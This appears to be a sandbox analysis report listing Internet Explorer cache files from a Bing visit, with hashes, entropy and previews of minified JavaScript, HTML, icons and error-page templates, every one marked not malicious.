Preview:	(function(n){function t(r){if(i[r])return i[r].exports;var u=i[r]={i:r,l:!1,exports:{}};return n[r].call(u.exports,u,u.exports,t),u.l=!0,u.exports}var i={};return t.m=n,t.c=i,t.d=function(n,i,r){t.o(n,i)\|\|Object.defineProperty(n,i,{enumerable:!0,get:r})},t.r=function(n){typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"});Object.defineProperty(n,"__esModule",{value:!0})},t.t=function(n,i){var r,u;if((i&1&&(n=t(n)),i&8)\|\|i&4&&typeof n=="object"&&n&&n.__esModule)return n;if(r=Object.create(null),t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:n}),i&2&&typeof n!="string")for(u in n)t.d(r,u,function(t){return n[t]}.bind(null,u));return r},t.n=function(n){var i=n&&n.__esModule?function(){return n["default"]}:function(){return n};return t.d(i,"a",i),i},t.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},t.p="",t(t.s=0)})([function(n,t,i){window.SpeechSDK=i(1)},function(n,t,i){"use strict";function r(n){for(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\HdepnBaFj-yarvouFUIlfV4Q9D8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	3201
Entropy (8bit):	5.369958740257869
Encrypted:	false
SSDEEP:	48:rmo6TIPx85uuYPXznTBB0D6e7htJETfD8QJLxDO7KTUx42Z3rtki:sYuYPXznb0DR7dw8QhIWTQrt7
MD5:	4AADD0F43326BAD8EFD82C85B6D9A20E
SHA1:	4093FC4AB9821B646D64C98051A1CF0679CB2188
SHA-256:	968849A1E6AAED249C78B6CF1AF585AB6C8482A8C5398AB1D2DC3CB92E9EA68F
SHA-512:	616B06A6E3B2385E5487C819FC7F595D473B2F14E8CB76EFB894EDEAB3B26D2C9B679A9B275D924BECC37E156C70B0B56126CCFB62C8B23ABBA9DE07BD93D72A
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/HdepnBaFj-yarvouFUIlfV4Q9D8.gz.js
Preview:	var __spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u};define("clientinst",["require","exports"],function(n,t){function it(){a=0;u()}function u(){var n,s,t,o;e&&clearTimeout(e);for(n in i)if(i.hasOwnProperty(n)){s=n!=_G.IG?_G.lsUrl.replace(_G.IG,n):_G.lsUrl;for(t in i[n])i[n].hasOwnProperty(t)&&(o=b+s+"&TYPE=Event."+t+"&DATA="+f("[")+i[n][t]+f("]"),ut(o)\|\|(g().src=o));delete i[n]}typeof r!="undefined"&&r.setTimeout&&(e=r.setTimeout(u,w))}function rt(){return _G!==undefined&&_G.EF!==undefined&&_G.EF.logsb!==undefined&&_G.EF.logsb===1}function ut(n){return rt()?ft(n,""):!1}function ft(n,t){var i="sendBeacon",r=!1;if(navigator&&navigator[i])try{navigator[i](n,t);r=!0}catch(u){}return r}var y,d,i,g,o,p;t.__esModule=!0;t.Wrap=t.Log2=t.LogInstrumented=t.Log=t.LogCustomEvent=void 0;var r=n("env"),s=n("event.native"),h=n("e

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\Jl2vUSlEIqWjk-99MuYp4W74zvQ[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1529
Entropy (8bit):	4.135964697042234
Encrypted:	false
SSDEEP:	24:tVvnjuJOeUsc4wg5a2/gt+lm/3HljKR99U1TrD3ptYZ7GDlh6mI0jeI4dIwDq8rz:rn1edcjg5pm/lKRXU1TrD5tJf6mzjidJ
MD5:	6D8EF11CB1C03B39D9ED4E4C9A2190B9
SHA1:	265DAF51294422A5A393EF7D32E629E16EF8CEF4
SHA-256:	D72BEAE30A6B2B36C3E03847CE4EA04211D7373D4066FF937A7A05DF4E0C3DB6
SHA-512:	C8820BDF2FC34CCFF7018A1C1E3E74ED1FE0B287926050F9B6BA59C08DCC216E8732F862AB0BF086BC05275C51E6F81132AFA60F6D50A19585642BC906DCDD92
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Jl2vUSlEIqWjk-99MuYp4W74zvQ.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">..<path d="M8 0C6.41775 0 4.87103 0.469192 3.55544 1.34824C2.23985 2.22729 1.21447 3.47672 0.608967 4.93853C0.00346629 6.40034 -0.15496 8.00887 0.153721 9.56072C0.462403 11.1126 1.22433 12.538 2.34315 13.6569C3.46197 14.7757 4.88743 15.5376 6.43928 15.8463C7.99113 16.155 9.59966 15.9965 11.0615 15.391C12.5233 14.7855 13.7727 13.7602 14.6518 12.4446C15.5308 11.129 16 9.58225 16 8C16 5.87827 15.1571 3.84344 13.6569 2.34315C12.1566 0.842854 10.1217 0 8 0V0Z" fill="white"/>..<path d="M3.72395 9.60957L5.72394 11.6096C5.97398 11.8595 6.31306 12 6.66661 12C7.02016 12 7.35924 11.8595 7.60928 11.6096L12.2759 6.9429C12.4033 6.81991 12.5049 6.67278 12.5747 6.51011C12.6446 6.34744 12.6814 6.17248 12.6829 5.99544C12.6845 5.8184 12.6507 5.64283 12.5837 5.47897C12.5167 5.3151 12.4177 5.16623 12.2925 5.04104C12.1673 4.91585 12.0184 4.81685 11.8545 4.74981C11.6907 4.68277 11.5151 4.64903 11.3381 4.65057C11.16

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\L4AKO9BL.htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	60829
Entropy (8bit):	5.759786394858774
Encrypted:	false
SSDEEP:	1536:GKrSCXrLQPo3H/8cpUQpqETOuKsIecFXdAjvd894fJLYv6GZob097Q53Opw:GGLQw3f/mQpbd89Riew
MD5:	65DCCDA445D757293B5F409265667D08
SHA1:	1A62F338F5AB13C4D6887EECE38BBF4ED714637A
SHA-256:	A5E86855B6CF58135C849FA06532E8944899A0CF0BE341D3958BCB7046C6C759
SHA-512:	00ACCC709F149F0554425A116E85EF1B7AD478F7E3422BD81CEC9838D2529B608F49935E501E4857414A159D46A7BE3694D34E7812E6C16718AC0D45398A0A01
Malicious:	false
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="Info" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.Olympics125_ROW9889344454_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20210406_0700&mkt=de-CH" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="The first modern Olympic Games were held 125 years" /><title>Bing</title><link rel="shortcut i

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\MDr1f9aJs4rBVf1F5DAtlALvweY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	257
Entropy (8bit):	4.781091704776374
Encrypted:	false
SSDEEP:	3:qMH4WXMHwmnIB4JmhyfAIB4Jmml0X2IUJIB4JrNOsK1A4JWW7jKYHVA4JRGYdA4S:q6XzD4jr43ldI74FNQlNj7jM9TlMlbSr
MD5:	51A9EA95D5ED461ED98AC3D23A66AA15
SHA1:	62FBB857B873BD79BEE7F16D0766A452FA2798A3
SHA-256:	A5B4181611E951FAECD6C164D704569C633E95FE68D3D1934B911A089EBF70E8
SHA-512:	CEE4231894F82627E50EC746D7C150E5303A1BF8864D7B084173B9D17663A27CC2915F5D0D4DC0602FE26D9EAA10DD98CF3422E7601F520EF34D45C9A506D6F7
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/MDr1f9aJs4rBVf1F5DAtlALvweY.gz.js
Preview:	var BM=BM\|\|{};BM.rules={"#sc_hdu":[-1,-1,1],"#hp_id_hdr":[-1,-1,1],"#hp_container":[-1,-1,1],".hp_sw_logo":[-1,-1,0],".b_searchboxForm":[-1,-1,0],"#crs_pane":[-1,-1,0],"#sb_foot":[-1,-1,0],"#sh_rdiv":[-1,-1,0],"img,div[data-src]":[-1,-1,0],iframe:[-1,-1,0]}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\NGDGShwgz5vCvyjNFyZiaPlHGCE.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	4.837090729138339
Encrypted:	false
SSDEEP:	6:qbLkyK4hImTzBwhLM1whA+XzFE8KSiQLGPQQgnaqza:IQD2IkzaLMGAMzDBVKY+ia
MD5:	1F62E9FDC6CA43F3FC2C4FA56856F368
SHA1:	75ADD74C4E04DB88023404099B9B4AAEA6437AE7
SHA-256:	E1436445696905DF9E8A225930F37015D0EF7160EB9A723BAFC3F9B798365DF6
SHA-512:	6AADAA42E0D86CAD3A44672A57C37ACBA3CB7F85E5104EB68FA44B845C0ED70B3085AA20A504A37DDEDEA7E847F2D53DB18B6455CDA69FB540847CEA6419CDBC
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/NGDGShwgz5vCvyjNFyZiaPlHGCE.gz.js
Preview:	var Button;(function(){WireUp.init("button_init",function(n){var t=n.getAttribute("data-appns"),i=n.getAttribute("data-k");sj_be(n,"click",function(){Log.Log("Click","Button","",!1,"AppNS",t,"K",i,"Category","CommonControls")})})})(Button\|\|(Button={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
IE Cache URL:	res://ieframe.dll/NewErrorPageTemplate.css
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\QA7QWDV3.htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	60359
Entropy (8bit):	5.759693670784069
Encrypted:	false
SSDEEP:	1536:GKrSCXrLQPo3H/8cpUQuqETOuKsIecFXdAjvdC94fJLYv8GsOb03Q53O+:GGLQw3f/mQubdC9RPj
MD5:	F09D724372AB360197DB4A73ACD46C85
SHA1:	E5BA6F383E74B4DCBDA6778F5909E7E3C2098AED
SHA-256:	6564DFE91F1D1E3F726BF5D4D8BA69E0C8AEEBDBD26B97AA0BA36DB914CCFDA8
SHA-512:	6CAADCDFD932C2410076740F7933AEF066412065EF387FFE19B69CE8AC46FDBEE91954D7D10D45EA85506079BDB0E9288F89DC40EC48B0C5AEA834CB79DAFB95
Malicious:	false
IE Cache URL:	https://www.bing.com/?form=REDIRERR
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="Info" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.Olympics125_ROW9889344454_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20210406_0700&mkt=de-CH" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="The first modern Olympic Games were held 125 years" /><title>Bing</title><link rel="shortcut i

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\RXZtj0lYpFm5XDPMpuGSsNG8i9I.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1220
Entropy (8bit):	5.024732410536042
Encrypted:	false
SSDEEP:	24:6Vj1V5FrGj6BBEEo6maDU6CWi4dDRRE0Slc7qHy5++vY:8v5TBG6U6C+DLSiL+P
MD5:	E34F2CDADA9986F52CCFAB129645ABAC
SHA1:	93FF6CA74EB48A6825F9BC21BEE52159987C0A82
SHA-256:	79C181E7D29CF735AE99FD86C42934D7FD6FB51E6481D788E1CB812C7DC63DF6
SHA-512:	671EF1DB12BEE74E8E6BAEE8850F4F6A278E51F2236A851A24D889CE40040273088B2D206F2AA42BD1475F4F88F7B4420BC4CE6922023DE205308C56A3C96A4C
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/RXZtj0lYpFm5XDPMpuGSsNG8i9I.gz.js
Preview:	var Feedback;(function(n){var t;(function(){"use strict";function u(t,i){var u=t.getAttribute("id"),f;u\|\|(u="genId"+n.length,t.setAttribute("id",u));f=new r(u,i,t.getAttribute(i));n.push(f)}function i(n,t,i){i===null?n.removeAttribute(t):n.setAttribute(t,i)}function t(n,t,r,f){for(var e,s=_d.querySelectorAll(r),o=0;o<s.length;o++)(e=s[o],f&&e.id&&f[e.id])\|\|(u(e,n),i(e,n,t))}function f(n){for(var u=_d.querySelectorAll(n),e=1,f={},t,i,r=0;r<u.length;++r){if(t=u[r],!t.id){for(;;)if(i="fbpgdgelem"+e++,!_ge(i))break;t.id=i}f[t.id]=t}return f}function e(){var i="tabindex",r="-1",n=f("#fbpgdg, #fbpgdg *");t(i,r,"div",n);t(i,r,"svg",n);t(i,r,"a",n);t(i,r,"li",n);t(i,r,"input",n);t(i,r,"select",n);t("aria-hidden","true","body :not(script):not(style)",n)}function o(){for(var r,t=0;t<n.length;t++)r=_d.getElementById(n[t].id),r&&i(r,n[t].attributeName,n[t].originalAttributeValue);n.length=0}function s(){typeof sj_evt!="undefined"&&(sj_evt.bind("onFeedbackStarting",function(){e()}),sj_evt.bind("onF

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\RrvsBuqGHDpqG7NAz4Q0BMOqQBg.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	4140
Entropy (8bit):	5.268233767834181
Encrypted:	false
SSDEEP:	96:cithlPK4kMRX+1XewlYONYyuGNc22nDmSOsDg:ciJALYONEGNc22nbOsDg
MD5:	7651609B4BE35F5DE8024F570EF6CF87
SHA1:	4B72E4BB1D8F170D6B17FA1D769584A7D0F02F70
SHA-256:	4CA5C607D14D17F8A9EEA9FB0A624BC00C49BFDFBB6A78E1292EAE1461B7D9F0
SHA-512:	7BE114BD02AA079F01FBFC343811F74896BB247ABB79C67998B7DB0F20F8ED1260DEA83523F61CDD0E2231F2428437F9FBF88F39DAD821A3F09A5116C5DA7A2D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/RrvsBuqGHDpqG7NAz4Q0BMOqQBg.gz.js
Preview:	var Feedback;(function(n){var t;(function(){function r(i,r,u,f,e,o){i=typeof i===t?!1:i;i&&scrollTo(0,0);u=typeof u===t?!0:u;n.PackageLoad.Load(r,u,f,e,o)}function e(n,t){for(var r=0,i=null;n&&n.getAttribute&&(!(t>=1)\|\|r<t);){if(i=n.getAttribute("data-fbhlsel"),i!=null)break;r++;n=n.parentNode}return i}var u="feedbackformrequested",c="feedbackInitialized",i,f="",o="feedback-binded",s="clicked",t="undefined",h;n.Bootstrap.InitializeFeedback=function(l,a,v,y,p,w,b,k){function tt(t){var r=null,i;return t&&(i=new h,n.fel("ajax.feedback.collectsettings","gsf",i),r=i.findSettings(t)),r}var d=_ge(a),g,nt;d&&d.classList&&d.classList.contains(o)\|\|(p=typeof p===t?!1:p,g=e(d,3),f!=="sb_feedback"&&(f=a,typeof sj_evt!==t&&(i&&sj_evt.unbind(u,i),i=function(n){var u=null,t=null,f=null,o,i,s;n&&n.length>1&&(i=n[1],i.tagName!==undefined&&i.nodeType!==undefined?(u=i,t=tt(u)):t=i,o=t&&t.elementToHighlight\|\|u,f=e(o));s=t&&t.linkId\|\|a;r(y,l,v,s,f,t)},sj_evt.bind(u,i,1)),typeof SearchAppWrapper!==t&&SearchA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\favicon-2x[1].ico Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.8046022951415335
Encrypted:	false
SSDEEP:	24:suZOWcCXPRS4QAUs/KBy3TYI42Apvl6wheXpktCH2Yn4KgISQggggFpz1k9PAYHu:HBRh+sCBykteatiBn4KWi1+Ne
MD5:	DA597791BE3B6E732F0BC8B20E38EE62
SHA1:	1125C45D285C360542027D7554A5C442288974DE
SHA-256:	5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07
SHA-512:	D8DC8358727590A1ED74DC70356AEDC0499552C2DC0CD4F7A01853DD85CEB3AEAD5FBDC7C75D7DA36DB6AF2448CE5ABDFF64CEBDCA3533ECAD953C061A9B338E
Malicious:	false
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..A..=..9..x5..n0..e,...5...................................................Ea.Z,..T$..T$..T

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\favicon-2x[2].ico Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	4286
Entropy (8bit):	3.8046022951415335
Encrypted:	false
SSDEEP:	24:suZOWcCXPRS4QAUs/KBy3TYI42Apvl6wheXpktCH2Yn4KgISQggggFpz1k9PAYHu:HBRh+sCBykteatiBn4KWi1+Ne
MD5:	DA597791BE3B6E732F0BC8B20E38EE62
SHA1:	1125C45D285C360542027D7554A5C442288974DE
SHA-256:	5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07
SHA-512:	D8DC8358727590A1ED74DC70356AEDC0499552C2DC0CD4F7A01853DD85CEB3AEAD5FBDC7C75D7DA36DB6AF2448CE5ABDFF64CEBDCA3533ECAD953C061A9B338E
Malicious:	false
IE Cache URL:	https://www.bing.com/sa/simg/favicon-2x.ico
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..A..=..9..x5..n0..e,...5...................................................Ea.Z,..T$..T$..T

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\gDsOfTXNZVl18jxNDvhXqAdf2tM.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1821
Entropy (8bit):	5.098212659804913
Encrypted:	false
SSDEEP:	48:0N3GKBel/r5+8cDYC1YvHIH6ayskysb6NccyskpY3Imqc+DkR:oGKBelzw8fCuoaay5ySSy5q3Mc+4R
MD5:	EC15EB7CBFBFAA68BB1DE04A28C80270
SHA1:	D2570D4CFF3139EA66D15799C9E67211F5A03B20
SHA-256:	810A85F1E705231989251F3EB52DAFF3F0ACEE09C703339C301A7CBD22CF8FE6
SHA-512:	077446A676E47447CB771A119CD0EC2EC168E65FED4579E663866D2846F51E93B47367518EB9D79E04EACE139CDFF043E1E28D64559412B4770388B2FEF96A21
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/gDsOfTXNZVl18jxNDvhXqAdf2tM.gz.js
Preview:	(function(){function b(e){var l=e[1],s=l&&_ge(l.vid);s&&(h=_ge("bnp.nid."+f),i=n.getAttribute("data-overlay")==="true"?!0:!1,c=n.getAttribute("data-setscroll")==="true"?!0:!1,k(),ClassUtil.removeClass(h,y),s.style.display="block",c&&d(),sj_evt.fire("bnp.notif.shown",s),i?nt():sj_evt.fire("McpDismissed"),u=_ge(w),t=_ge(v),t.focus(),r=_ge(p),u&&sj_be(u,o,tt),t&&sj_be(t,o,g))}var v="bnp_btn_accept",o="click",y="b_hide",p="cookie_preference",w="bnp_btn_preference",r,u,t,n=_ge("bnp_cookie_banner"),s=_ge("b_footer"),f=_w.bnp.pb_sttc.id,h,e,i,c,k=function(){var t=n&&n.getAttribute("data-position"),i=_ge("bnp_container");i&&t&&t.toLocaleLowerCase()=="top"&&(i.style.top=t+"px",i.style.bottom="auto")},d=function(){var i=_ge("bnp_container"),r=_ge("bnp_action_container"),n=_ge("bnp_content_desc"),u=_ge("bnp_title_container"),t;i&&r&&n&&u&&(t=i.offsetHeight-(r.offsetHeight+u.offsetHeight+130),n.style.maxHeight=t+"px",t<280&&(n.style.marginRight="-10px"))},g=function(t){ManagedCookiePreferenceActio

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\lK_FmcR4naKX9hpIwfe9ify1hf4.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	125734
Entropy (8bit):	5.670169400028476
Encrypted:	false
SSDEEP:	1536:ppkCMu1Rv0SuDHT4kfr5IRnO8E9FqJCnq1EoAXycCroA0wT8aHs3:3Mu1Rv0SvNmeGq1ENXdTAVM
MD5:	C24FE194A488B12CCE5B3858D12C2C3D
SHA1:	E55B3E549CA42D614BEE0C4538F9EDA6C89DE00D
SHA-256:	45A1BD96D9A1BB1F03191C2F062FDC5369542864C4777A67623811BE6463D4D6
SHA-512:	4F1C02C2FE716DBEAF061DC9476AD35E33F5C808FD3D79D0ADBECED81B65A02225F7356DBCB10A7232BDD7D02BC0C908F17BB61B058FF5FB99747202522B5473
Malicious:	false
Preview:	var __assign=this&&this.__assign\|\|function(){return __assign=Object.assign\|\|function(n){for(var t,r,i=1,u=arguments.length;i<u;i++){t=arguments[i];for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r])}return n},__assign.apply(this,arguments)},__rest=this&&this.__rest\|\|function(n,t){var u={},r;for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(n!=null&&typeof Object.getOwnPropertySymbols=="function")for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u},__spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u},__awaiter=this&&this.__awaiter\|\|function(n,t,i,r){function u(n){return n instanceof i?n:new i(function(t){t(n)})}return new(i\|\|(i=Promise))(function(i,f){function o(n){

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\msnpopularnow[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	10501
Entropy (8bit):	5.51784121777492
Encrypted:	false
SSDEEP:	192:LUuCIrvL8IgVoZvJZvtctCQwyltHEZdrXgsqBv6SHGjHHAHaBaZvkr1qPUaDQAby:LBCOVmUzaBDePrwsUS/k6Ba52qPJQZEW
MD5:	FC690FA0CC46C5CF583DFBBE141E5A58
SHA1:	E7CCC631BEAE8AC7DC42B1A8259BC752E4938D6F
